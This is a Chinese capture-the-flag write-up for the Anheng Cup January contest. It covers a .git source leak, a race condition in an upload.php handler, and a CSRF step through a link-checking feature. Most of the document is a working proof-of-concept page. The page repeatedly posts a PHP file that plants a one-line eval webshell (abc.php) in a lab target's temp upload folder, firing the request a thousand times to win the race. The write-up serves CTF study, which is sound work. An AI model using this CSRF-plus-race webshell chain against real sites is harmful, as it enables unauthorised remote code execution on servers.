安恒杯一月赛部分题目writeup
首先感谢下安恒举办的比赛，还有大神们的讲解，学习了
再来个友情链接
发现.git泄漏，拿到源码
发现上传文件，代码审计
if(!isset($_SESSION['user']) || $_SESSION['user'] != USERNAME){
die('Access Denied');
}
...
...
$ext = getExt($_FILES['file']['name']);
$filename = './upload/temp/'.$flid.$ext;
$dst = './upload/images/'.$flid.'.jpg';
move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
if(file_exists($filename)){
try {
if(file_exists($dst))
@unlink($dst);
resizeimg($filename, $dst, 100, 50);
}catch(Exception $e){
echo 'Caught exception: ', $e->getMessage(), "\n";
}
}
发现upload.php里面的条件竞争漏洞，先上传文件再删除文件。但是程序开头会检查权限，需要登录后才能操作。因此解题思路为结合CSRF+条件竞争。
因为程序添加友情链接时候会先去访问这个文件
所以我们可以写个自动上传文件的js,利用csrf去上传绕过user判断，然后利用时间差，在还没删除temp文件时快速去访问/temp上传成功的php，并自动创建一个一句话shell
poc:
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://http://192.168.5.76/upload.php?"+Math.random(), true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en,zh-CN;q=0.9,zh;q=0.8");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryfJEbEkHoV22zBdaM");
xhr.withCredentials = "true";
var body = "------WebKitFormBoundaryfJEbEkHoV22zBdaM\r\n" +
"Content-Disposition: form-data; name=\"file\"; filename=\"321.php\"\r\n" +
"Content-Type: application/x-php\r\n" +
"\r\n" +
"<?php file_put_contents('abc.php', '<?php eval($_GET[a]);?>');?>\r\n" +
"\r\n" +
"------WebKitFormBoundaryfJEbEkHoV22zBdaM\r\n" +
"Content-Disposition: form-data; name=\"flid\"\r\n" +
"\r\n" +
"1\r\n" +
"------WebKitFormBoundaryfJEbEkHoV22zBdaM\r\n" +
"Content-Disposition: form-data; name=\"submit\"\r\n" +
"\r\n" +
"上传\r\n" +
"------WebKitFormBoundaryfJEbEkHoV22zBdaM--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest();
</script>
<script>
var html = '';
for(var k=0; k<1000; k++){
html = html + '<script>submitRequest();<\/script>';
}
document.write(html);
</script>
</body>
</html>
